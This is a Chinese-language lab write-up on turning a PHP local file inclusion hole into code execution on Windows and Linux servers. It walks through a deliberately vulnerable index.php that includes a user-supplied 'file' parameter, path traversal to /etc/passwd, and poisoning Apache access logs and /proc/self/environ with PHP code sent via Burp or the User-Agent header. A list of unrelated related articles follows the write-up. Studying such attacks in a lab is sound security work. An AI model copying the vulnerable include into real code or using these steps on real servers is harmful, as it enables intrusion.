windows和linux包含日志文件和环境变量getshell

简介: windows和linux包含日志文件和环境变量getshell

前提知识

在linux 下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是 windows 环境是权限是允许的。

linux 默认的 apache 日志文件路径是

访问日志

/var/log/apache2/access.log

错误日志

/var/log/apache2/error.log

把文件日志包含进来即可

/proc/self/environ 这个文件里保存了系统的一些变量

实验复现

代码区

index.php

1. <?php
2. include $_GET['file'];
3. ?>

info.php

1. <?php
2. phpinfo();
3. ?>

测试区

  • linux
?filename=../../../../../../../etc/passwd&submit=提交

这里查看日志文件发现权限不够www-data用户进行包含

访问时在url中写入恶意代码,发现被浏览器进行转码

http://192.168.10.139/?%3C?phpinfo();?%3E

使用burp进行拦截发包,此时代码出现在日志文件内(由于权限不够此时无法进行包含)

  • windows

发现仍然被编码了

通过burp发包

包含该日志文件

http://localhost:8084/?file=D:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1677801600

而现实是需要先找到今日日志的文件名,因为直接包含access.log会太大导致页面没有响应

我们先包含配置文件D:\phpstudy_pro\Extensions\Apache2.4.39\conf\httpd.conf

寻找logformat

%h %l %u %t \"%r\" %>s %b \"%{User-Agent}i\"

根据预制格式获取文件名

1677801600

  • linux环境变量

此时我们在User-Agen写入php代码

查看/proc/self/environ未发现(写入权限不够)

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
7天前
|
监控 机器人 Unix
GoLand——windows下如何编译Linux二进制文件
GoLand——windows下如何编译Linux二进制文件
13 1
GoLand——windows下如何编译Linux二进制文件
|
1天前
|
SQL Oracle NoSQL
实时计算 Flink版操作报错合集之报错“找不到对应的归档日志文件”,怎么处理
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
|
4天前
|
自然语言处理 Linux Windows
Cmder - 想让你的windows下 cmd 和 SecureCRT 操作 Linux 一样帅吗 附字符集编码 chcp 936、chcp 65001
Cmder - 想让你的windows下 cmd 和 SecureCRT 操作 Linux 一样帅吗 附字符集编码 chcp 936、chcp 65001
9 1
|
6天前
|
Windows
Windows——如何在文件资源管理器地址栏快速打开Vscode
Windows——如何在文件资源管理器地址栏快速打开Vscode
19 4
|
7天前
|
Windows
Windows——windows10下如何和子系统Ubuntu18.04互传文件
Windows——windows10下如何和子系统Ubuntu18.04互传文件
15 1
|
7天前
|
Linux Go
Linux——windows10下的Ubuntu18.04安装并配置go环境
Linux——windows10下的Ubuntu18.04安装并配置go环境
18 1
|
2天前
|
Linux 虚拟化 Windows
Linux、Windows上还不会端口映射的网工,请低调看过来!
Linux、Windows上还不会端口映射的网工,请低调看过来!
|
4天前
|
安全 C++ Windows
Windows下C++使用gRPC(Qt和VS,含文件包和使用方法)
Windows下C++使用gRPC(Qt和VS,含文件包和使用方法)
|
5天前
|
Linux Windows
【Linux】rzsz——本地Windows与云端Linux文件传输工具
【Linux】rzsz——本地Windows与云端Linux文件传输工具
|
5天前
|
应用服务中间件 Linux nginx
Nginx log 日志文件较大,按日期生成 实现日志的切割
Nginx log 日志文件较大,按日期生成 实现日志的切割
23 0